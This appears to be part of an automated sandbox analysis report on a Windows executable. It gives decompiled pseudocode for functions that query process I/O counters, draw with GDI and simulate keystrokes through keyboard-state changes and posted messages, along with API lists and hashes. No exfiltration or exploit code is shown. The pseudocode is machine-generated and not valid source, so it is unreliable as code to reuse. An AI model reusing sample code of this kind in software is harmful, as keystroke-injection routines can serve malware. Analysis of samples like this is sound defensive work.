                                                                                                                                                                            0x00473a89
                                                                                                                                                                            0x00473a8a
                                                                                                                                                                            0x00473a8d
                                                                                                                                                                            0x00473a8f
                                                                                                                                                                            0x00473aa2
                                                                                                                                                                            0x00473aa4
                                                                                                                                                                            0x00473aa8
                                                                                                                                                                            0x00473aac
                                                                                                                                                                            0x00473ab9
                                                                                                                                                                            0x00473aba
                                                                                                                                                                            0x00473abc
                                                                                                                                                                            0x00473abe
                                                                                                                                                                            0x00473abf
                                                                                                                                                                            0x00473ac2
                                                                                                                                                                            0x00473ac4
                                                                                                                                                                            0x00473ad0
                                                                                                                                                                            0x00473ad9
                                                                                                                                                                            0x00473add
                                                                                                                                                                            0x00473ae1
                                                                                                                                                                            0x00473aee
                                                                                                                                                                            0x00473af0
                                                                                                                                                                            0x00473af2
                                                                                                                                                                            0x00473af4
                                                                                                                                                                            0x00473af5
                                                                                                                                                                            0x00473af8
                                                                                                                                                                            0x00473afa
                                                                                                                                                                            0x00473b06
                                                                                                                                                                            0x00473b0f
                                                                                                                                                                            0x00473b13
                                                                                                                                                                            0x00473b17
                                                                                                                                                                            0x00473b24
                                                                                                                                                                            0x00473b26
                                                                                                                                                                            0x00473b28
                                                                                                                                                                            0x00473b2a
                                                                                                                                                                            0x00473b2b
                                                                                                                                                                            0x00473b2e
                                                                                                                                                                            0x00473b30
                                                                                                                                                                            0x00473b3b
                                                                                                                                                                            0x00473b45
                                                                                                                                                                            0x00473b49
                                                                                                                                                                            0x00473b4d
                                                                                                                                                                            0x00473b5a
                                                                                                                                                                            0x00473b5c
                                                                                                                                                                            0x00473b5e
                                                                                                                                                                            0x00473b60
                                                                                                                                                                            0x00473b61
                                                                                                                                                                            0x00473b64
                                                                                                                                                                            0x00473b66
                                                                                                                                                                            0x00473b69
                                                                                                                                                                            0x00473b72
                                                                                                                                                                            0x00473b79
                                                                                                                                                                            0x00473b7b
                                                                                                                                                                            0x00473b7f
                                                                                                                                                                            0x00473b84
                                                                                                                                                                            0x00473bf4
                                                                                                                                                                            0x00473bf4
                                                                                                                                                                            0x00473bf6
                                                                                                                                                                            0x00473bfa
                                                                                                                                                                            0x00473bfd
                                                                                                                                                                            0x00473bfd
                                                                                                                                                                            0x00473a3c
                                                                                                                                                                            0x00473a28
                                                                                                                                                                            0x00473c01
                                                                                                                                                                            0x00473c01
                                                                                                                                                                            0x004739f1
                                                                                                                                                                            0x00473c0b
                                                                                                                                                                            0x00473c18

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                                                                                            • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 3488606520-2761332787
                                                                                                                                                                            • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                            • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                                                                                            • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E004472C8(void* __fp0) {
				void* _t81;
				struct tagPOINT* _t83;
				struct tagPOINT* _t84;
				intOrPtr* _t85;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t95;
				struct tagPOINT* _t96;
				void* _t100;

				_t96 =  *(_t100 + 0x24);
				_t92 =  *((intOrPtr*)(_t100 + 0x2c));
				_t84 = 0xfffffffe;
				 *((char*)(_t100 + 0x2c)) = 0;
				 *(_t100 + 0x14) = 0;
				 *(_t100 + 0x10) = 0xfffffffe;
				 *((intOrPtr*)(_t100 + 0x18)) = 1;
				 *((intOrPtr*)(_t100 + 0x1c)) = _t92;
				if(_t92 == 0) {
					L27:
					E0043315E(_t96, _t84);
					return  *((intOrPtr*)(_t100 + 0x2c));
				}
				while(1) {
					 *(_t100 + 0x24) = 0;
					E0044710F(_t96,  *((intOrPtr*)(_t100 + 0x18)), _t84, 0,  *((intOrPtr*)(_t100 + 0x1c)));
					if( *((intOrPtr*)(_t92 + 0xc)) <= 0) {
						goto L25;
					}
					_t85 = _t92 + 0x10;
					 *((intOrPtr*)(_t100 + 0x2c)) = _t92 + 0x14;
					do {
						_t95 =  *_t85;
						_t81 = ( *( *((intOrPtr*)(_t100 + 0x20)) +  *(_t100 + 0x10) + 0x810) & 0x000000ff) + 0xfffffff8;
						if(_t81 > 0x10) {
							goto L23;
						}
						switch( *((intOrPtr*)(( *(_t81 + 0x447568) & 0x000000ff) * 4 +  &M00447544))) {
							case 0:
								__edi = __edi | 0xffffffff;
								if( *(__esp + 0x18) != __edi) {
									 *(__esp + 0x14) = E0043315E(__esi,  *(__esp + 0x14));
								}
								__eax =  *__ebx;
								if(__eax != __edi) {
									 *(__esp + 0x18) = __eax;
								}
								__ecx =  *(__esp + 0x2c);
								__eax =  *( *(__esp + 0x2c));
								if(__eax != __edi) {
									 *(__esp + 0x14) = __eax;
								}
								__edx =  *(__esp + 0x1c);
								__eax =  *(__esp + 0x14);
								__ecx =  *(__esp + 0x18);
								__eax = E0044710F(__esi,  *(__esp + 0x18),  *(__esp + 0x14), 0,  *(__esp + 0x1c));
								goto L23;
							case 1:
								__edx =  *(__esp + 0x14);
								 *(__esp + 0x10) =  *(__esp + 0x10) + 1;
								__eax = 8;
								 *(__esp + 0x2c) =  *(__esp + 0x2c) + 8;
								__ebx =  &(__ebx[2]);
								E0043315E(__esi,  *(__esp + 0x14)) =  *(__esp + 0x1c);
								__ecx =  *(__esp + 0x14);
								__edx =  *(__esp + 0x18);
								E0044710F(__esi,  *(__esp + 0x18),  *(__esp + 0x14), 0,  *(__esp + 0x1c)) =  *(__esp + 0x2c);
								__ecx =  *( *(__esp + 0x2c));
								__edx =  *__ebx;
								__ecx =  *( *(__esp + 0x2c)) + __ebp;
								_push( *( *(__esp + 0x2c)) + __ebp);
								__edx =  *__ebx + __edi;
								_push( *__ebx + __edi);
								goto L22;
							case 2:
								 *(__esp + 0x10) =  *(__esp + 0x10) + 1;
								__eax = 8;
								 *(__esp + 0x2c) =  *(__esp + 0x2c) + 8;
								__ebx =  &(__ebx[2]);
								 *(__esp + 0x14) = E0043315E(__esi,  *(__esp + 0x14));
								__ecx =  *(__esp + 0x1c);
								__edx =  *(__esp + 0x14);
								 *(__esp + 0x18) = E0044710F(__esi,  *(__esp + 0x18),  *(__esp + 0x14), 0,  *(__esp + 0x1c));
								__ecx =  *(__esp + 0x2c);
								__edx =  *( *(__esp + 0x2c));
								__eax =  *__ebx;
								__edx =  *( *(__esp + 0x2c)) + __ebp;
								 *__ebx + __edi = Ellipse(__esi, __edi, __ebp,  *__ebx + __edi,  *( *(__esp + 0x2c)) + __ebp);
								goto L23;
							case 3:
								MoveToEx(__esi, __edi, __ebp, 0) =  *(__esp + 0x2c);
								asm("fild dword [eax+0x8]");
								__ecx = __ebx[2];
								__edx =  *(__esp + 0x10);
								__eax =  *(__esp + 0x2c) + 8;
								__ebx =  &(__ebx[2]);
								 *((intOrPtr*)(__esp + 0x24)) = __fp0;
								asm("fild dword [ebx+0x8]");
								__esp = __esp - 8;
								__ebx =  &(__ebx[2]);
								__edx = __edx + 1;
								 *((intOrPtr*)(__esp + 4)) = __fp0;
								__edx = __edx + 1;
								__fp0 =  *(__esp + 0x2c);
								__eax = __eax + 8;
								 *__esp = __fp0;
								 *(__esp + 0x28) = __edx;
								 *(__esp + 0x44) = __eax;
								AngleArc(__esi, __edi, __ebp, __ecx, ??, ??) = LineTo(__esi, __edi, __ebp);
								__eax = CloseFigure(__esi);
								goto L23;
							case 4:
								__eax =  *(__esp + 0x1c);
								__edx = __eax + __ebp + 1;
								__ecx = __edi + __eax + 1;
								_push(__eax + __ebp + 1);
								__ebp = __ebp - __eax;
								_push(__edi + __eax + 1);
								__edi = __edi - __eax;
								L22:
								__eax = Rectangle(__esi, __edi, __ebp, ??, ??);
								goto L23;
							case 5:
								__ecx =  *(__esp + 0x18);
								__eax = SetPixel(__esi, __edi, __ebp,  *(__esp + 0x18));
								goto L23;
							case 6:
								if(_t95 != 0) {
									 *((char*)(_t100 + 0x30)) = 1;
								}
								goto L23;
							case 7:
								 *(__esp + 0x1c) = __edi;
								goto L23;
							case 8:
								goto L23;
						}
						L23:
						_t90 =  *((intOrPtr*)(_t100 + 0x20));
						 *((intOrPtr*)(_t100 + 0x2c)) =  *((intOrPtr*)(_t100 + 0x2c)) + 8;
						_t83 =  &( *(_t100 + 0x10)->x);
						_t85 = _t85 + 8;
						 *(_t100 + 0x10) = _t83;
					} while (_t83 <  *((intOrPtr*)(_t90 + 0xc)));
					_t84 =  *(_t100 + 0x14);
					_t92 = _t90;
					L25:
					_t93 =  *((intOrPtr*)(_t92 + 4));
					 *((intOrPtr*)(_t100 + 0x20)) = _t93;
					if(_t93 != 0) {
						_t92 =  *((intOrPtr*)(_t100 + 0x20));
						continue;
					}
					goto L27;
				}
			}













                                                                                                                                                                            0x004472cd
                                                                                                                                                                            0x004472d2
                                                                                                                                                                            0x004472d6
                                                                                                                                                                            0x004472db
                                                                                                                                                                            0x004472e0
                                                                                                                                                                            0x004472e8
                                                                                                                                                                            0x004472ec
                                                                                                                                                                            0x004472f4
                                                                                                                                                                            0x004472fa
                                                                                                                                                                            0x00447530
                                                                                                                                                                            0x00447532
                                                                                                                                                                            0x00447541
                                                                                                                                                                            0x00447541
                                                                                                                                                                            0x0044730c
                                                                                                                                                                            0x0044731a
                                                                                                                                                                            0x00447322
                                                                                                                                                                            0x0044732b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447331
                                                                                                                                                                            0x00447337
                                                                                                                                                                            0x00447348
                                                                                                                                                                            0x0044735c
                                                                                                                                                                            0x00447360
                                                                                                                                                                            0x00447366
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447373
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447395
                                                                                                                                                                            0x0044739c
                                                                                                                                                                            0x004473a4
                                                                                                                                                                            0x004473a4
                                                                                                                                                                            0x004473a9
                                                                                                                                                                            0x004473ad
                                                                                                                                                                            0x004473af
                                                                                                                                                                            0x004473af
                                                                                                                                                                            0x004473b3
                                                                                                                                                                            0x004473b7
                                                                                                                                                                            0x004473bb
                                                                                                                                                                            0x004473bd
                                                                                                                                                                            0x004473bd
                                                                                                                                                                            0x004473c1
                                                                                                                                                                            0x004473c5
                                                                                                                                                                            0x004473c9
                                                                                                                                                                            0x004473d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004473dd
                                                                                                                                                                            0x004473e1
                                                                                                                                                                            0x004473e5
                                                                                                                                                                            0x004473ea
                                                                                                                                                                            0x004473f0
                                                                                                                                                                            0x004473f7
                                                                                                                                                                            0x004473fb
                                                                                                                                                                            0x004473ff
                                                                                                                                                                            0x0044740e
                                                                                                                                                                            0x00447412
                                                                                                                                                                            0x00447414
                                                                                                                                                                            0x00447416
                                                                                                                                                                            0x00447418
                                                                                                                                                                            0x00447419
                                                                                                                                                                            0x0044741b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447421
                                                                                                                                                                            0x00447425
                                                                                                                                                                            0x0044742a
                                                                                                                                                                            0x0044742e
                                                                                                                                                                            0x00447436
                                                                                                                                                                            0x0044743b
                                                                                                                                                                            0x0044743f
                                                                                                                                                                            0x0044744d
                                                                                                                                                                            0x00447452
                                                                                                                                                                            0x00447456
                                                                                                                                                                            0x00447458
                                                                                                                                                                            0x0044745a
                                                                                                                                                                            0x00447463
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447479
                                                                                                                                                                            0x0044747d
                                                                                                                                                                            0x00447480
                                                                                                                                                                            0x00447483
                                                                                                                                                                            0x00447487
                                                                                                                                                                            0x0044748a
                                                                                                                                                                            0x0044748d
                                                                                                                                                                            0x00447491
                                                                                                                                                                            0x00447494
                                                                                                                                                                            0x00447497
                                                                                                                                                                            0x0044749a
                                                                                                                                                                            0x0044749b
                                                                                                                                                                            0x0044749f
                                                                                                                                                                            0x004474a0
                                                                                                                                                                            0x004474a4
                                                                                                                                                                            0x004474a7
                                                                                                                                                                            0x004474ae
                                                                                                                                                                            0x004474b2
                                                                                                                                                                            0x004474bf
                                                                                                                                                                            0x004474c6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004474de
                                                                                                                                                                            0x004474e2
                                                                                                                                                                            0x004474e6
                                                                                                                                                                            0x004474ea
                                                                                                                                                                            0x004474eb
                                                                                                                                                                            0x004474ed
                                                                                                                                                                            0x004474ee
                                                                                                                                                                            0x004474f0
                                                                                                                                                                            0x004474f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004474ce
                                                                                                                                                                            0x004474d6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044737c
                                                                                                                                                                            0x00447382
                                                                                                                                                                            0x00447382
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044738c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004474f9
                                                                                                                                                                            0x004474fd
                                                                                                                                                                            0x00447506
                                                                                                                                                                            0x0044750a
                                                                                                                                                                            0x0044750b
                                                                                                                                                                            0x00447510
                                                                                                                                                                            0x00447510
                                                                                                                                                                            0x0044751a
                                                                                                                                                                            0x0044751e
                                                                                                                                                                            0x00447520
                                                                                                                                                                            0x00447520
                                                                                                                                                                            0x00447523
                                                                                                                                                                            0x00447529
                                                                                                                                                                            0x00447308
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00447308
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044752f

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                            • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                                                                                            • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                                                                                            • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                                                                                            • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                                                                                            • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                                                                                            • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4082120231-0
                                                                                                                                                                            • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                            • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                                                                                            • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                                                                                            • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0044496C(void* __fp0, intOrPtr _a4, char* _a8) {
				signed int _v95;
				signed int _v96;
				signed int _v165;
				signed int _v238;
				signed int _v239;
				signed int _v240;
				char _v256;
				void* _t53;
				struct HWND__* _t54;
				intOrPtr _t70;
				char* _t102;
				intOrPtr _t103;
				void* _t132;

				_t132 = __fp0;
				_t103 = _a4;
				_t102 = _a8;
				if( *_t102 != 0 ||  *((char*)(_t102 + 1)) != 0 ||  *((char*)(_t102 + 2)) != 0 ||  *((char*)(_t102 + 3)) != 0 ||  *((char*)(_t102 + 4)) != 0) {
					_t54 =  *(_t103 + 0x20);
					if(_t54 == 0 || GetParent(_t54) == 0) {
						if( *_t102 != 0) {
							E004378B5(_t103, 0xa0,  *(_t103 + 0x27) & 0x000000ff, 2);
						}
						if( *((char*)(_t102 + 1)) != 0) {
							E004378B5(_t103, 0xa1,  *(_t103 + 0x28) & 0x000000ff, 2);
						}
						if( *((char*)(_t102 + 2)) != 0) {
							E004378B5(_t103, 0x11,  *(_t103 + 0x24) & 0x000000ff, 2);
						}
						if( *((char*)(_t102 + 3)) != 0) {
							E004378B5(_t103, 0x12,  *(_t103 + 0x25) & 0x000000ff, 2);
						}
						if( *((char*)(_t102 + 4)) != 0) {
							E004378B5(_t103, 0x5b,  *(_t103 + 0x29) & 0x000000ff, 2);
						}
						L41:
						return E00437953(_t132, _t103);
					}
					GetKeyboardState( &_v256);
					if( *_t102 != 0) {
						_v240 = _v240 ^ 0x00000080;
						_v96 = _v96 ^ 0x00000080;
					}
					if( *((char*)(_t102 + 1)) != 0) {
						_v240 = _v240 ^ 0x00000080;
						_v95 = _v95 ^ 0x00000080;
					}
					if( *((char*)(_t102 + 2)) != 0) {
						_v239 = _v239 ^ 0x00000080;
					}
					if( *((char*)(_t102 + 3)) != 0) {
						_v238 = _v238 ^ 0x00000080;
					}
					if( *((char*)(_t102 + 4)) != 0) {
						_v165 = _v165 ^ 0x00000080;
					}
					SetKeyboardState( &_v256);
					if( *_t102 != 0 ||  *((char*)(_t102 + 1)) != 0) {
						PostMessageW( *(_t103 + 0x20), 0x101, 0x10, ( *(_t103 + 0x26) & 0x000000ff) << 0x00000010 | 0xc0000001);
					}
					if( *((char*)(_t102 + 2)) != 0) {
						PostMessageW( *(_t103 + 0x20), 0x101, 0x11, ( *(_t103 + 0x24) & 0x000000ff) << 0x00000010 | 0xc0000001);
					}
					_t70 =  *((intOrPtr*)(_t102 + 3));
					if(_t70 != 0) {
						if( *((char*)(_t102 + 2)) != 0 ||  *((char*)(_t103 + 0x1c)) != 0) {
							if(_t70 != 0) {
								PostMessageW( *(_t103 + 0x20), 0x101, 0x12, ( *(_t103 + 0x25) & 0x000000ff) << 0x00000010 | 0xc0000001);
								goto L28;
							}
						} else {
							PostMessageW( *(_t103 + 0x20), 0x105, 0x12, ( *(_t103 + 0x25) & 0x000000ff) << 0x00000010 | 0xe0000001);
							L28:
						}
					}
					if( *((char*)(_t102 + 4)) == 0) {
						goto L41;
					}
					PostMessageW( *(_t103 + 0x20), 0x101, 0x5b, ( *(_t103 + 0x29) & 0x000000ff) << 0x00000010 | 0xc0000001);
					return E00437953(_t132, _t103);
				} else {
					return _t53;
				}
			}
















                                                                                                                                                                            0x0044496c
                                                                                                                                                                            0x00444973
                                                                                                                                                                            0x0044497b
                                                                                                                                                                            0x00444985
                                                                                                                                                                            0x004449a3
                                                                                                                                                                            0x004449a9
                                                                                                                                                                            0x00444ae8
                                                                                                                                                                            0x00444af7
                                                                                                                                                                            0x00444af7
                                                                                                                                                                            0x00444b00
                                                                                                                                                                            0x00444b0f
                                                                                                                                                                            0x00444b0f
                                                                                                                                                                            0x00444b18
                                                                                                                                                                            0x00444b24
                                                                                                                                                                            0x00444b24
                                                                                                                                                                            0x00444b2d
                                                                                                                                                                            0x00444b39
                                                                                                                                                                            0x00444b39
                                                                                                                                                                            0x00444b42
                                                                                                                                                                            0x00444b4e
                                                                                                                                                                            0x00444b4e
                                                                                                                                                                            0x00444b53
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444b59
                                                                                                                                                                            0x004449c3
                                                                                                                                                                            0x004449ce
                                                                                                                                                                            0x004449d0
                                                                                                                                                                            0x004449d4
                                                                                                                                                                            0x004449d4
                                                                                                                                                                            0x004449df
                                                                                                                                                                            0x004449e1
                                                                                                                                                                            0x004449e5
                                                                                                                                                                            0x004449e5
                                                                                                                                                                            0x004449f0
                                                                                                                                                                            0x004449f2
                                                                                                                                                                            0x004449f2
                                                                                                                                                                            0x004449fa
                                                                                                                                                                            0x004449fc
                                                                                                                                                                            0x004449fc
                                                                                                                                                                            0x00444a04
                                                                                                                                                                            0x00444a06
                                                                                                                                                                            0x00444a06
                                                                                                                                                                            0x00444a0f
                                                                                                                                                                            0x00444a1e
                                                                                                                                                                            0x00444a3f
                                                                                                                                                                            0x00444a3f
                                                                                                                                                                            0x00444a45
                                                                                                                                                                            0x00444a60
                                                                                                                                                                            0x00444a60
                                                                                                                                                                            0x00444a62
                                                                                                                                                                            0x00444a67
                                                                                                                                                                            0x00444a6d
                                                                                                                                                                            0x00444a91
                                                                                                                                                                            0x00444aac
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444aac
                                                                                                                                                                            0x00444a75
                                                                                                                                                                            0x00444aac
                                                                                                                                                                            0x00444aac
                                                                                                                                                                            0x00444aac
                                                                                                                                                                            0x00444a6d
                                                                                                                                                                            0x00444ab2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444ad1
                                                                                                                                                                            0x00444ae2
                                                                                                                                                                            0x00444b62
                                                                                                                                                                            0x00444b62
                                                                                                                                                                            0x00444b62

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetParent.USER32(?), ref: 004449B0
                                                                                                                                                                            • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                                                                                            • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                                                                                            • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                                                                                            • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                                                                                            • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                                                                                            • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 87235514-0
                                                                                                                                                                            • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                            • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                                                                                            • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                                                                                            • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00444B65(void* __fp0, intOrPtr _a4, char* _a8) {
				signed int _v95;
				signed int _v96;
				signed int _v165;
				signed int _v238;
				signed int _v239;
				signed int _v240;
				char _v256;
				void* _t53;
				struct HWND__* _t54;
				intOrPtr _t70;
				char* _t102;
				intOrPtr _t103;
				void* _t132;

				_t132 = __fp0;
				_t103 = _a4;
				_t102 = _a8;
				if( *_t102 != 0 ||  *((char*)(_t102 + 1)) != 0 ||  *((char*)(_t102 + 2)) != 0 ||  *((char*)(_t102 + 3)) != 0 ||  *((char*)(_t102 + 4)) != 0) {
					_t54 =  *(_t103 + 0x20);
					if(_t54 == 0 || GetParent(_t54) == 0) {
						if( *_t102 != 0) {
							E004378B5(_t103, 0xa0,  *(_t103 + 0x27) & 0x000000ff, 0);
						}
						if( *((char*)(_t102 + 1)) != 0) {
							E004378B5(_t103, 0xa1,  *(_t103 + 0x28) & 0x000000ff, 0);
						}
						if( *((char*)(_t102 + 2)) != 0) {
							E004378B5(_t103, 0x11,  *(_t103 + 0x24) & 0x000000ff, 0);
						}
						if( *((char*)(_t102 + 3)) != 0) {
							E004378B5(_t103, 0x12,  *(_t103 + 0x25) & 0x000000ff, 0);
						}
						if( *((char*)(_t102 + 4)) != 0) {
							E004378B5(_t103, 0x5b,  *(_t103 + 0x29) & 0x000000ff, 0);
						}
						L41:
						return E0043792A(_t132, _t103);
					}
					GetKeyboardState( &_v256);
					if( *_t102 != 0) {
						_v240 = _v240 | 0x00000080;
						_v96 = _v96 | 0x00000080;
					}
					if( *((char*)(_t102 + 1)) != 0) {
						_v240 = _v240 | 0x00000080;
						_v95 = _v95 | 0x00000080;
					}
					if( *((char*)(_t102 + 2)) != 0) {
						_v239 = _v239 | 0x00000080;
					}
					if( *((char*)(_t102 + 3)) != 0) {
						_v238 = _v238 | 0x00000080;
					}
					if( *((char*)(_t102 + 4)) != 0) {
						_v165 = _v165 | 0x00000080;
					}
